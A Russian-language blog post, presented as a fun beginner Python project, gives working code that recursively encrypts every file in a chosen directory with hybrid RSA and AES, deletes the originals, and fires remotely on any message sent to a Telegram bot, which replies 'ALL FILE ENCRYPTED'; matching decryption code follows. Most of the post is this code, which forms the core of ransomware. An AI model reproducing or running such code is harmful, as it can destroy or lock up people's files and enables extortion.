November 5, 2021

Пишем простого бота для шифрования файлов в нужной нам директории.

Данная статья является больше развлекательной, и не несет сильной информативной нагрузки, однако, кому-то может понадобиться. Мы будем использовать гибридное шифрование с помощью алгоритмов RSA и AES для шифровки и дешифровки данных из указанной директории.

Для начала, нам понадобится сгенерировать ключи. Сейчас применяя алгоритм RSA считается надежным ключ от 2048 бит. Напишем простенький скрипт для генерации и записи ключей:

from Crypto.PublicKey import RSA key = RSA.generate(2048) private_key = key.export_key() file_out = open("private.pem", "wb") file_out.write(private_key) print(private_key) public_key = key.public_key().export_key() file_out = open("public.pem", "wb") file_out.write(public_key) print(public_key)

К слову, использовалась библиотека pycrypto, так что если захотите похимичить – не забудьте установить командой в терминале:

pip install pycrypto

Запускаем выполнение через терминал, и видим подобное:

!!!ВАЖНО!!! Я выложил в открытый доступ свой приватный ключ только потому, что кроме как для написания статьи я его нигде не использую. Следите за сохранностью вашего приватного ключа и помните, что в случае его утери вы не сможете расшифровать свои файлы

Далее пишем сам код шифровальщика:

from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from Crypto.Cipher import AES, PKCS1_OAEP import os, sys def crypt(file): f = open(file, "rb") data = f.read(); f.close() file_out = open(str(file) + ".bin", "wb") recipient_key = RSA.import_key(open("public.pem").read()) session_key = get_random_bytes(16) cipher_rsa = PKCS1_OAEP.new(recipient_key) enc_session_key = cipher_rsa.encrypt(session_key) cipher_aes = AES.new(session_key, AES.MODE_EAX) ciphertext, tag = cipher_aes.encrypt_and_digest(data) [file_out.write(x) for x in (enc_session_key, cipher_aes.nonce, tag, ciphertext)] print(file + " Encrypted") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("../test_for_crypt")

Немного обсудим этот код. Скрипт проходит по указанной папке, и шифрует все файлы, включая также файлы во вложенных директориях с помощью обычного сессионного ключа, который сгенерирован случайно. А затем сессионный ключ шифруется с помощью нашего публичного ключа.

Данный код настолько прост и процедурно написан, что любой, даже начинающий человек, сможет разобраться и понять принцип его работы.

Для пущей эффективности, возможно настроить это все на работу по какому-то триггеру. На комбинацию клавиш, или же через Telegram бота. Сделаем простейший бот на одну команду, даже без try\except конструкции.

Установим PyTelegramBotApi и импортируем его в файл кода:

import telebot from telebot.types import Message

Далее базово ставим конфигурацию бота, для наглядности вкинем это в тот же файл (однако лучше всегда делать отдельный конфигурационный файл):

TOKEN = "Здесь должен быть токен вашего бота из BotFather" bot = telebot.TeleBot(TOKEN) text = "ALL FILE ENCRYPTED" dir = "Ваша директория"

Оборачиваем функцию crypt и walk в конструкцию message handler, должно получится примерно так:

def crypt(file): #Наш код def walk(dir): #Наш код @bot.message_handler(func=lambda message: True) def bot(message: Message): walk(dir) bot.reply_to(message, text) bot.polling()

Данный код будет срабатывать после отправки любого сообщения боту.

Однако, вероятно, вы зададитесь вопросом, как же расшифровать наши данные? Ответом на этот вопрос служит следующий код:

def decrypt(file): file_in = open(file, "rb") file_out = open(str(file[:-4]), "wb") private_key = RSA.import_key(open("private.pem").read()) enc_session_key, nonce, tag, ciphertext = \ [file_in.read(x) for x in (private_key.size_in_bytes(), 16, 16, -1)] cipher_rsa = PKCS1_OAEP.new(private_key) session_key = cipher_rsa.decrypt(enc_session_key) cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce) data = cipher_aes.decrypt_and_verify(ciphertext, tag) file_out.write(data) print(file + " DECRYPTED") os.remove(file) def walk_decrypt(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): decrypt(path) else: walk_decrypt(path) walk_decrypt("../test_for_crypt")

По сути все то же самое, но вместо шифрования - дешифровка.

Это был наш первый небольшой проект на питоне, дальше будет только интереснее. Подписывайтесь на канал, чтобы не пропустить другие, более интересные проекты